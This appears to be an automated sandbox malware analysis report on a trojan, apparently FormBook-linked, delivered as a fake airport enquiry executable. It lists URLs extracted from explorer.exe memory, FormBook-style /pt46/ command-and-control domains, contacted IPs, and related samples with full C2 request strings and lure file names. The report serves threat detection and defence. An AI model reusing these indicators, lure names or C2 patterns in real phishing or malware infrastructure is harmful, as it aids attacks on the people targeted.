https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000002.00000003.3105555593.000000000C9E7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105760256.000000000C9C3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3459517159.000000000C9E3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105408163.000000000C96C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1694928784.000000000C964000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105927486.000000000C9E0000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.serverdayz.com	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://wns.windows.com/L	explorer.exe, 00000002.00000000.1694928784.000000000C557000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4140282960.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.iiixc759q.xyz/pt46/www.sliveringaf.christmas	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.theselflovesite.com/pt46/www.iiixc759q.xyz	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://word.office.com	explorer.exe, 00000002.00000002.4140282960.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1694928784.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.theselflovesite.com/pt46/	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.wvufcw948o.top	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 00000002.00000000.1691155621.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4133281259.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.serverdayz.com/pt46/	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.wheresthechocolateat.com/pt46/www.serverdayz.com	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.rd.com/list/polite-habits-campers-dislike/	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.uddyen.shop/pt46/www.harbalmaizik.com	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.strategiclogisticsagency.com/pt46/www.arlatwestern.shop	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000002.00000000.1694928784.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	explorer.exe, 00000002.00000000.1691155621.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4133281259.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://outlook.com_	explorer.exe, 00000002.00000002.4140282960.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1694928784.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.serverdayz.comReferer:	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.strategiclogisticsagency.comReferer:	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.betbox2341.com/pt46/www.dreziuy.xyz	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sliveringaf.christmas/pt46/www.twinportslocal.com	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cb214.pro/pt46/	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.sliveringaf.christmas	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	explorer.exe, 00000002.00000002.4133281259.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.harbalmaizik.comReferer:	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://powerpoint.office.comcember	explorer.exe, 00000002.00000002.4140282960.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1694928784.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.iiixc759q.xyz	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.betbox2341.com	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.betbox2341.com/pt46/	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.micro	explorer.exe, 00000002.00000000.1691865413.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.1693513837.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.1692211406.0000000008720000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.twinportslocal.com	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.arlatwestern.shop	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.dreziuy.xyzReferer:	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.twinportslocal.com/pt46/www.per-watch.com	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cb214.proReferer:	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.per-watch.comReferer:	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.af28.top/pt46/www.wvufcw948o.top	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/q	explorer.exe, 00000002.00000003.3106730980.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4135304707.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1692654831.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.theselflovesite.com	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.arlatwestern.shop/pt46/www.betbox2341.com	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.per-watch.com/pt46/www.cb214.pro	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.wvufcw948o.top/pt46/www.wheresthechocolateat.com	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.wvufcw948o.top/pt46/	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4133281259.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cb214.pro/pt46/www.uddyen.shop	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.per-watch.com/pt46/	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.dreziuy.xyz/pt46/www.af28.top	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.serverdayz.com/pt46/www.theselflovesite.com	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.wheresthechocolateat.com	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.iiixc759q.xyzReferer:	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.wvufcw948o.topReferer:	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.strategiclogisticsagency.com/pt46/	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.wheresthechocolateat.com/pt46/	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.strategiclogisticsagency.com	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.dreziuy.xyz/pt46/	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://aka.ms/Vh5j3k	explorer.exe, 00000002.00000003.3106633874.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3460584807.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4133281259.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.msn.com/v1/news/Feed/Windows?&	explorer.exe, 00000002.00000002.4135304707.0000000009702000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3106730980.0000000009701000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1692654831.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
103.224.212.214	www.serverdayz.com	Australia	133618	TRELLIAN-AS-APTrellianPtyLimitedAU	true
76.223.105.230	wheresthechocolateat.com	United States	16509	AMAZON-02US	true
104.18.23.89	sites.ludicrous.cloud	United States	13335	CLOUDFLARENETUS	true
104.18.24.121	www.arlatwestern.shop	United States	13335	CLOUDFLARENETUS	true
103.235.46.96	www.wshifen.com	Hong Kong	55967	BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1499643
Start date and time:	2024-08-27 10:50:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	New Al Maktoum International Airport Enquiry Ref #2401249.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@8/4@14/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 54 Number of non-executed functions: 271
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:51:39	API Interceptor	8479563x Sleep call for process: explorer.exe modified
04:51:43	API Interceptor	8175348x Sleep call for process: msiexec.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
103.224.212.214	http://costpointfoundations.co	Get hash	malicious	Unknown	Browse	costpointfoundations.co/
	Dekont.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.grupocontigoalimentacion.com/by21/?JdvdYDix=Qiv85XpES+gRGKgJ50il+ut781DP8c9dVMkrfMMJcjn4yfiAOg7zefoq3f+ee4p+KYz+&od30z4=R2Mpk
	MCS61094Y5OI8.exe	Get hash	malicious	FormBook	Browse	www.grupocontigoalimentacion.com/de94/
	swift copy.exe	Get hash	malicious	FormBook	Browse	www.serverdayz.com/pt46/?U48h=HjOp3dG8ifjxtzc0&uVgT=ssXGlCLLWL5Hbp+Kj8TEyAbCjYKb/LDYuNd6sJpjn9vteR/o4Disu/XP82t2g6UvoDvBo1oONQ==
	file.exe	Get hash	malicious	CMSBrute	Browse	bvhrk.com/admin/
	Erzs#U00e9bet - #U00e1raj#U00e1nlat k#U00e9r#U00e9se.xlsm	Get hash	malicious	FormBook	Browse	www.52cg2.club/dn03/?mH=vHL/aMkFAwjyVl2Dd70lT+aSSGnTactS6ZKo1NCGbcutKIwEuoKoLmdigK9d5B6ACqxl&blMXi=UTIlCLfpPh9tBHY
	MCdhfoPPYvL8Y64.exe	Get hash	malicious	FormBook	Browse	www.meet-friends.online/he2a/?Cp=j259IZkOpjupuBTwOx4nur4drEuXVGOqNWoRJeFFuPyRSmHo6WYXCK9hp6SFyqQ991E4&Jr=X0DTzv-h_xKdGL
	Here.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.meet-friends.online/he2a/?u4Wt=j259IZkOpjupuBTwOx4nur4drEuXVGOqNWoRJeFFuPyRSmHo6WYXCK9hp6SFyqQ991E4&K6A=wDHTzXb0
	Confirm PDF.exe	Get hash	malicious	FormBook	Browse	www.meet-friends.online/he2a/?Bz=j259IZkOpjupuBTwOx4nur4drEuXVGOqNWoRJeFFuPyRSmHo6WYXCK9hp6SFyqQ991E4&r6=GbtltDz0Q
	jYLXwtSJOP.exe	Get hash	malicious	FormBook	Browse	www.ioherstrulybeauty.com/gy14/?_nuDR=Zf34QfZHJB&lJExfNm=iq2f6ui2wqz8xuu1H6vWkOMFNAwMJfBPtqur0GdwnWxRQ4p6OEO0KyV2U30Bz8sjBJTk
76.223.105.230	http://bttr-llc.com	Get hash	malicious	Unknown	Browse	bttr-llc.com/
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.7774.12516.rtf	Get hash	malicious	FormBook	Browse	www.arelenegrace.com/hy08/?sFN=oPXpsLvH0pVLVT&1bcxg=IYpvE9p1LWgE3s0pNpuzAf1nXS15w7Vq8L77BFaKzXcLByeNx9OHblKH7UbQs7lOVp0rYQ==
	RFQ REF-JTC AJC-QINHP5-TIS-L0009- (AL DHAFRA) AL JABER - SUPPLY.exe	Get hash	malicious	FormBook	Browse	www.wheresthechocolateat.com/pt46/?EjAXLd=jBZTV&K48T=QVbB1/CFLfZKQUfa4MrWfFSxGk6qL/qIHQ35N54fxEy/BWtxzW12LUdW+9UBb26G4LX53orEZw==
	FBOZtotG0B.exe	Get hash	malicious	FormBook	Browse	www.jrdautomotivellc.com/pnug/?2dspOd=Xl1gPlBY3RHMyhNDLOHIkFCqR4PNn0Ln+VsrtMDt628JcBt6wu0xnCUa+xC78gA8dlQUOFjwJA==&PtFXdv=0bm08L4Xy8mLXZx0
	Official Salary for the Month of August 2024 - NU1622662404290592.exe	Get hash	malicious	FormBook	Browse	www.wheresthechocolateat.com/pt46/?Cj90E=QVbB1/CFLfZKQUfa4MrWfFSxGk6qL/qIHQ35N54fxEy/BWtxzW12LUdW+9Y4XXWGvNLo&GVWh=CdT0vvb
	http://polymerworks.co.uk	Get hash	malicious	Unknown	Browse	polymerworks.co.uk/
	PR_Form_20240809_145815.bat.exe	Get hash	malicious	FormBook	Browse	www.owpg.online/sy52/?ADKX=yjHcTNYZscCf7X7V3KS4QhDaw7WbFxQca0sdsOF3MVS1i6Qt+iXycYNUHWSrI6jiObK7&Vlcty=6lbtP8lPtnPPOfb0
	http://theweber.group	Get hash	malicious	HTMLPhisher	Browse	theweber.group/
	Exv453QQIX.exe	Get hash	malicious	FormBook	Browse	www.document-help.com/04u1/
	SOA IN JUNE USD90865.00.exe	Get hash	malicious	FormBook	Browse	www.virtualeventsbyelaine.com/na10/?vx=Y15dvrdaP4BlnoUd0B0CUee9qRi1uposW0sjk5H0yZZdbyRLK6GrCxCe6TbO6TsThJlW&Sj=BpFt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.arlatwestern.shop	Ticket Receipt and Fine.exe	Get hash	malicious	FormBook	Browse	104.18.24.121
www.wshifen.com	3621103789.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
